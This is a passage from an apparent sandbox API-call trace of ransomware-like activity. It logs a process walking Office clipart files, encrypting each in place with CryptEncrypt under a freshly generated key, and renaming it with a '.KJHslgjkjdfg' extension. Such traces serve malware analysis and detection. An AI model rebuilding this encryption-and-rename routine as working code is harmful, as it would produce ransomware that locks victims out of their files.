lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.kjhslgjkjdfg")) returned 1 [0191.259] CloseHandle (hObject=0x114) returned 1 [0191.259] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1 [0191.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.261] GetProcessHeap () returned 0x2a0000 [0191.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.261] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.261] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.261] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0191.263] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.264] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.264] GetProcessHeap () returned 0x2a0000 [0191.264] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.264] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.264] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.264] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.264] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.264] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.264] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.264] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.264] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b7a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b7a, lpOverlapped=0x0) returned 1 [0191.266] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b80) returned 1 [0191.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.266] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b80, lpOverlapped=0x0) returned 1 [0191.266] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.266] SetEndOfFile (hFile=0x114) returned 1 [0191.269] GetProcessHeap () returned 0x2a0000 [0191.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.269] GetProcessHeap () returned 0x2a0000 [0191.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.kjhslgjkjdfg")) returned 1 [0191.271] CloseHandle (hObject=0x114) returned 1 [0191.271] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1 [0191.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.272] GetProcessHeap () returned 0x2a0000 [0191.272] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.272] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.272] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.273] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0191.275] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.275] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.275] GetProcessHeap () returned 0x2a0000 [0191.275] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.275] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.275] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.275] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.276] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.276] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.276] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.276] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.276] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.276] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.276] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.276] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.276] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1262e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1262e, lpOverlapped=0x0) returned 1 [0191.278] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12630, dwBufLen=0x12630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12630) returned 1 [0191.279] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.279] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12630, lpOverlapped=0x0) returned 1 [0191.279] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.279] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.279] SetEndOfFile (hFile=0x114) returned 1 [0191.282] GetProcessHeap () returned 0x2a0000 [0191.282] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.282] GetProcessHeap () returned 0x2a0000 [0191.282] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.kjhslgjkjdfg")) returned 1 [0191.284] CloseHandle (hObject=0x114) returned 1 [0191.285] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1 [0191.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.287] GetProcessHeap () returned 0x2a0000 [0191.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.287] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.287] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.287] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0191.289] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.289] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.289] GetProcessHeap () returned 0x2a0000 [0191.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.289] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.289] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.289] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.289] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.289] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.289] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.289] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.289] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.289] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.289] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.289] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.289] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x967a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x967a, lpOverlapped=0x0) returned 1 [0191.290] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9680, dwBufLen=0x9680 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9680) returned 1 [0191.291] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.291] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9680, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9680, lpOverlapped=0x0) returned 1 [0191.291] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.291] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.291] SetEndOfFile (hFile=0x114) returned 1 [0191.294] GetProcessHeap () returned 0x2a0000 [0191.294] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.294] GetProcessHeap () returned 0x2a0000 [0191.294] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.kjhslgjkjdfg")) returned 1 [0191.296] CloseHandle (hObject=0x114) returned 1 [0191.296] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1 [0191.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.298] GetProcessHeap () returned 0x2a0000 [0191.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.298] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.298] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.298] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.383] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.383] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.383] GetProcessHeap () returned 0x2a0000 [0191.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.383] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.383] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.383] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.384] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.384] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.384] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.384] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.384] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x22f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x22f4, lpOverlapped=0x0) returned 1 [0191.385] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2300, dwBufLen=0x2300 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2300) returned 1 [0191.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.385] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2300, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2300, lpOverlapped=0x0) returned 1 [0191.386] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x23d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.386] SetEndOfFile (hFile=0x114) returned 1 [0191.388] GetProcessHeap () returned 0x2a0000 [0191.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.389] GetProcessHeap () returned 0x2a0000 [0191.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.kjhslgjkjdfg")) returned 1 [0191.391] CloseHandle (hObject=0x114) returned 1 [0191.391] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1 [0191.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.392] GetProcessHeap () returned 0x2a0000 [0191.393] 